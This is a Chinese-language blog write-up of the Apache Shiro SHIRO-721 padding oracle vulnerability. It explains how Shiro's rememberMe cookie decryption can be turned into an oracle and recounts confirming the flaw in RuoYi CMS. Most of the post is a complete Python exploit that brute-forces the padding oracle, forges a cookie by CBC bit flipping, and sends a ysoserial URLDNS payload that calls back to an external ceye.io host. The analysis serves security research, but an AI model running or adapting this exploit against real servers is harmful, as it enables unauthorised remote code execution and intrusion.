Shiro PaddingOracle分析

shiro-550 exp:

没写shiro分析,补在这里吧。

shiro-550能直接利用的cc3 gadget: whitepig tql

shiro-721中使用的是common-beanutils 1.9.2,可以直接打,550版本低不行

环境搭建

git clone https://github.com/apache/shiro.git shiro-rootcd shiro-root
git checkout -f shiro-root-1.4.0

参考之前SHIRO-550的搭一下就行

漏洞分析

首先是SHIRO-550,触发点是cookie中的RememberMe,漏洞触发流程:

  1. base64 解码
  2. 使用 AES 解密
  3. 反序列化解密后的字符串 shiro-1.25以前,AES密钥是硬编码到源码中的,因此可以更改RememberMe的值进行反序列化RCE

而1.2.5之后,shiro采用了随机密钥,也就引出了SHIRO-721,通过padding oracle attack的方式得到,

根据p0师傅之前的文章,在shiro中,当我们更改padding值时,padding正确但反序列化错误则会爆deserialize error;padding错误爆padding error, 具体处理代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
padding正确但爆反序列化error
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialize argument byte array.";
throw new SerializationException(msg, e);
}

padding错误爆padding error
try {
return cipher.doFinal(bytes);
} catch (Exception e) {
String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
throw new CryptoException(msg, e);
}

而shiro中如果解密rememberMe的过程中有错误,统一的处理方式都是调用removeFrom,最终返回deleteMe

这就很矛盾,没办法构造出padding oracle需要的bool条件。

解决这个问题用到了java反序列化中的一个小trick,java中的ObjectOutputStream是一个Stream,他会按格式以队列方式读下去,后面拼接无关内容,不会影响反序列化。通过这种方式,在抓到的rememberMe之后加新的iv和value,就既能反序列化成功,又能验证padding是否正确了,从而满足了padding oracle所需要的bool条件。具体的padding oracle过程和CBC bit flipping就不详细写了,参考之前大佬们的文章即可。

除此之外,shiro的接口在验证登陆时有authc和user两种权限,authc是认证过,user是登录过,如果开启了rememberMe功能的话,user可以通过的,而authc通过不了。因此rememberMe只在有user权限的接口有用。

综上,该洞的利用条件如下:

  1. 可以登录
  2. 找到可以用rememberMe的接口
  3. 可以padding oracle

本地测试

网上的poc很多,这里直接找一个跑一下本地的shir-simpleweb环境就行,URLDNS很容易验证。

开源CMS挖掘

漏洞刚出时找到了一个RuoYi CMS,使用了shiro 1.4.1,现在已经修复到1.4.2了。 项目地址:https://gitee.com/y_project/RuoYi

本地照文档搭起来,看一下接口:

1
2
3
4
5
6
7
8
9
10
11
public AjaxResult ajaxLogin(String username, String password, Boolean rememberMe)
{
UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe);
Subject subject = SecurityUtils.getSubject();
try
{
subject.login(token);
return success();
}
...
}

这里用到了rememberMe,下面找一下哪些接口有使用的权限。

1
2
3
// 所有请求需要认证
filterChainDefinitionMap.put("/**", "user,kickout,onlineSession,syncOnlineSession");
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);

shiroConfig里很清楚,所有接口都有user权限,大概稳了。

exp打一发,收到了URLDNS,稳了

感谢@threedream解答疑惑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding:utf-8
import requests
import base64
import re
import subprocess
from Crypto.Cipher import AES

#headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://127.0.0.1:8888/samples-web-1.5.0-SNAPSHOT/login.jsp","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"rememberMe":""}

rememberMe = """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"""
#填写正常情况应该返回的页面长度
content_length = 17394
rememberMe = base64.b64decode(rememberMe)
iv = rememberMe[:16]
data = rememberMe[16:]

def padding_oracle(value):
fake_iv_array = ['\x00'] * 16
intermediary_value = []
for i in range(0, 16):
for j in range(0, 256):
fake_iv_array[15 - i] = chr(j)
fake_iv = ''.join(fake_iv_array)
payload = base64.b64encode(rememberMe + fake_iv + value)
cookies["rememberMe"] = payload
response = requests.get("http://192.168.0.7/index", cookies=cookies, allow_redirects=False)
if len(response.content) == content_length:
intermediary_value += chr((i+1) ^ j)
for w in range(0, i+1):
fake_iv_array[15-w] = chr(ord(intermediary_value[w]) ^ (i+2))
#print(payload)
break

intermediary_value = intermediary_value[::-1]

return intermediary_value

def bitFlippingAttack(fake_value, orgin_value):
iv = []
for f, o in zip(fake_value, orgin_value):
iv.append(chr(ord(f) ^ ord(o)))
return iv

def pad_string(payload):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
return pad(payload)

site = "http://8ybhq4.ceye.io/"
popen = subprocess.Popen(['java', '-jar', '/Users/lfy/Desktop/Tools/JavaTools/NewYsoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', site],stdout=subprocess.PIPE)
java_serial_code = popen.stdout.read()

java_serial_code = pad_string(java_serial_code)
fake_value_arr = re.findall(r'[\s\S]{16}', java_serial_code)
print(fake_value_arr)
fake_value_arr.reverse()

value = data[-16:]
payload = [value]
print(fake_value_arr)

print("Count is %d" % len(fake_value_arr))
count = 1
for i in fake_value_arr:
print("-"*50)
print(count)
intermediary_value = padding_oracle(value)
iv = bitFlippingAttack(i, intermediary_value)
print(len(iv))
payload.append(''.join(iv))
print(payload)
value = ''.join(iv)
count += 1

print(payload)
payload.reverse()
cookies["rememberMe"] = base64.b64encode(''.join(payload))
response = requests.get("http://192.168.0.7/index", cookies=cookies)

参考

https://p0sec.net/index.php/archives/126/ https://superxiaoxiong.github.io/2019/11/26/shiro-padding-oracle-attack分析/

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY